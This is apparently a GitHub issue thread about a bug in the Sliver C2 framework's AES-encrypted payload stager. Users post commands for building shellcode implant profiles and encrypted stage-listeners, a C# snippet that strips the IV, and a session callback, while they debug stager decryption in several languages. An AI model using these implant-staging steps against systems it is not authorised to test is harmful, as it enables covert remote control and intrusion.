Issues with Encrypted Payload Stager

[hipstertrojan]

Hi,

I am currently struggling with using the encrypted http-stager provided in the Wiki (https://github.com/BishopFox/sliver/wiki/Stagers#encrypted-stage-example). When compiling and using the unencrypted custom stager (https://github.com/BishopFox/sliver/wiki/Stagers#custom-stagers) in the same way, the payload worked right away.
By debugging the code and investigating the bytes in the shellcode-parameter, I could see that the shellcode is collected from the stager, but does not seem to work correctly. I used the following commands provided to create a new profile, a listener and the stage-listener as well as the AES-Key and IV provided:

1. sliver > profiles new --mtls <my IP> --skip-symbols --format shellcode win-shellcode
2. sliver > mtls
3. sliver > stage-listener --url http://<my IP:Port> --profile win-shellcode --aes-encrypt-key D(G+KbPeShVmYq3t6v9y$B&E)H@McQfT --aes-encrypt-iv 8y/B?E(G+KbPeShV
4. Compile the encrypted payload and execute on victim host.

When viewing the instructions of the not working shellcode at the corresponding address in memory, the following instructions can be seen:

Is there anything I am missing?
Thanks a lot in advance!

[rkervella]

Looks like the example stager code does not decrypt the encrypted buffer properly. I'll modify it when I find the time.

[Cyb3rC3lt]

Just seeing if this sample code was ever fixed before I try to use it?

[moloch--]

I'm pretty sure the current version is fixed @rkervella ?

[rkervella]

I thought it was, but I have not looked at it recently.

[chosenonehacks]

I have the very same issue.
Used the code from the wiki, and same commands to create stage listener, even the same AES key and IV. Looks like the issue is still unfixed.

Not sure where is the problem, in C# code or in Sliver C2 AES payload generation.

The exception is:
System.Security.Cryptography.CryptographicException: 'The input data is not a complete block.'

Also if you possible please provide working example for C++ 💯

[Cyb3rC3lt]

Exactly the same here. I'm literally at my desk trying to decrypt the AES 128 payload but it doesn't seem to be able to do it. Although I'm doing this in Nim.

I'm gonna try generating an unencrypted version and encrypt it myself to see if my decryption code will work with that instead.

[Cyb3rC3lt]

Can any of devs let us know what is the thinking behind ditching the first 16 bytes of the payload please? From here: https://github.com/BishopFox/sliver/wiki/Stagers#encrypted-stage-example

Would be handy to know. I'm guessing it is somehow related to padding. I see also the payload does seem to divide by 16 in size which negates the need for padding but not sure if it is a coincidence. I'm no aes expert..... Thanks

            for (int i = 16; i <= shellcode.Length - 1; i++)
            {
                l.Add(shellcode[i]);
            }

[rkervella]

This was added because the sliver server will prepend the IV to the encrypted blob (which is a common thing to do), so the first block is the IV, and not actual encrypted content.

[Cyb3rC3lt]

Thank you Ronan, this is maybe what is tripping me up in my Nim runner.

[Cyb3rC3lt]

Okay I'm pretty sure there's a bug in the AES encryption code. The provided C# code doesn't create a connection back to Sliver and now using a Nim based runner it also couldn't trigger a call back. Exact same code without encryption works.

I compared the first and last 20 bytes of the decoded payload between Nim and the C# code and they match so I feel the AES decryption by us is correct but the payload is incorrect.

It would be great if someone could have a quick play around with it please to see if they can spot anything obvious.

[ziggoon]

I also am running into this same issue with a Rust based runner. I will try looking into encrypting the payload myself and report back.

[ziggoon]

Yeah it looks like an issue with the payload itself when using Sliver's encryption method. I was able to encrypt the shellcode using AES128 CBC with PKCS7 padding and decrypt the shellcode using my Rust runner. Session spawns just fine:

[*] Session 73c522a1 SPICY_RACING - 10.42.0.69:38847 (tank) - windows/amd64 - Sat, 11 Nov 2023 19:49:40 UTC

sliver > sessions

ID Transport Remote Address Hostname Username Operating System Health
========== =========== ================== ========== ========== ================== =========
73c522a1 mtls 10.42.0.69:38847 tank TANK\zig windows/amd64 [ALIVE]

[Cyb3rC3lt]

Thanks for checking. Hopefully they get around to fixing it. Having Sliver generate the encrypted payload is quite handy.

[ziggoon]

Agreed. For reference, this is how I encrypted the payload: https://github.com/ziggoon/Pestilence/blob/master/encrypt_shellcode.py

[felmoltor]

Hey, similar issue here:

• Using Server v1.5.38.
• Commands used:
  ** profiles new beacon --format shellcode --skip-symbols --http https://mydomain,https://mydomain2.com --dns subdomain.mydomain3.com --debug -O debug.log debug-win
  ** Unencrypted: stage-listener --url http://subdomain.mydomain2.com:80 --profile debug-win
  ** Encrypted with AES: stage-listener --url http://subdomain.mydomain2.com:80 --profile debug-win --aes-encrypt-i
  v 1234567890ABCDEF --aes-encrypt-key 1234567890ABCDEF

On the client side, I have my own C++ DLL stager. I've used the bcrypt.h Windows library to decrypt the payload.

I think there should be something weird happening with the encryption on the server side. This is a screenshot showing the difference in sizes of the payload served by the "unencrypted" and the "encrypted" one, there's a difference of 20 bytes:

AFAIK, there should be a difference of 16 bytes (the size of the IV preppended to the encrypted payload) between the encrypted payload and the unenctrypted.

Additionally, the begining of the decrypted AES payload matches the unencrypted payload. But at some point still unknown to me the decrypted payload differs from the unencrypted payload. Do we have an additiona 4 bytes difference between the encrypted and unencrypted version that I am not aware of and should take care of during the decryption in my own stager?

Thank you guys for your work, amazing C2 :-D

EDIT: Thinking about it, the additional 4 byes is sure to be due to the AES padding, so you can ignore my question about the 4 additional byes. Still, the decryption is not working in my stagger as it happens with the previous commenters.